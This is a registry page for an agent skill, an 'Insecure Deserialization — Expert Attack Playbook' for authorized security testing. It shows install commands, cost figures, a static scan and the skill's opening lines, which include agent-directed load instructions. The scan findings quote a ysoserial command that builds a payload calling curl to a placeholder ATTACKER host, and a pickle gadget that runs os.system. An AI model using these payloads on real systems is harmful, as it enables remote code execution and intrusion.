HackSkills is an organized knowledge base of installable skills that gives AI agents practical security knowledge across areas such as web security, privilege escalation, reverse engineering, and digital forensics. It is intended for bug bounty work, penetration testing, CTF competitions, and authorized security research. The catalogue entries are the project's own master, category, and topic skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/yaklang/hack-skills/deserialization-insecurenpx skills add yaklang/hack-skills --skill deserialization-insecuregit clone --depth 1 https://github.com/yaklang/hack-skillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/yaklang/hack-skills/deserialization-insecure)<a href="https://agentmods.dev/skills/yaklang/hack-skills/deserialization-insecure"><img src="https://agentmods.dev/badge/skills/yaklang/hack-skills/deserialization-insecure.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00052 | $0.06558 |
| Opus 5 | $0.00026 | $0.03279 |
| Sonnet 5 | $0.00010 | $0.01312 |
| Haiku 4.5 | $0.00005 | $0.00656 |
Grade A, and why
deserialization-insecure scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
java -jar ysoserial.jar CommonsCollections1 "curl http://ATTACKER/pwned" > payload.bin Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
return (os.system, ("id",)) Copies of this mod
4 near-identical copies found in the catalogue:
- deserialization-insecure — 100% identical, 0 lines differ
- deserialization-insecure — 100% identical, 0 lines differ
- deserialization-insecure — 100% identical, 0 lines differ
- deserialization-insecure — 94% identical, 4 lines differ
How it starts
The opening of the file, as written. The whole thing — 726 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Insecure Deserialization — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert deserialization techniques across Java, PHP, and Python. Covers gadget chain selection, traffic fingerprinting, tool usage (ysoserial, PHPGGC), Shiro/WebLogic/Commons Collections specifics, Phar deserialization, and Python pickle abuse. Base models often miss the distinction between finding the sink and finding a usable gadget chain.
0. RELATED ROUTING
- jndi-injection when deserialization leads to JNDI lookup (e.g., post-JDK 8u191 bypass via LDAP → deserialization)
- unauthorized-access-common-services when the deserialization endpoint is an exposed management service (RMI Registry, T3, AJP)
- ghost-bits-cast-attack when a WAF blocks your BCEL ClassLoader or Fastjson
@typepayload — Ghost Bits wraps each bytecode byte in a Unicode char whose low 8 bits match, yielding a payload the WAF cannot fingerprint
Advanced Reference
Also load JAVA_GADGET_CHAINS.md when you need:
- Java gadget chain version compatibility matrix (CommonsCollections 1–7, CommonsBeanutils, Spring, JDK-only, Groovy, Hibernate, ROME, C3P0, etc.)
- SnakeYAML gadget (ScriptEngineManager/URLClassLoader) with exploit JAR structure
- Hessian/Kryo/Avro/XStream deserialization patterns and traffic fingerprints
- .NET ViewState deserialization (machineKey requirement, ViewState forgery with ysoserial.net, Blacklist3r)
- Ruby YAML.load vs YAML.safe_load exploitation with version-specific chains
- Detection fingerprints: magic bytes table by format (Java
AC ED, .NETAAEAAD, Python pickle80 0N, PHPO:, Ruby04 08)
1. TRAFFIC FINGERPRINTING — IS IT DESERIALIZATION?
Java Serialized Objects
| Indicator | Where to Look |
|---|---|
Hex ac ed 00 05 |
Raw binary in request/response body, cookies, POST params |
Base64 rO0AB |
Cookies (rememberMe), hidden form fields, JWT claims |
Content-Type: application/x-java-serialized-object |
HTTP headers |
| T3/IIOP protocol traffic | WebLogic ports (7001, 7002) |
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 726 lines · 52 tokens per session scan A 4304aacd259c
deserialization-insecure is a skill published in the GitHub repository yaklang/hack-skills (2,093 stars, last pushed 2mo ago), licensed MIT. It adds 52 tokens to every session and 6,558 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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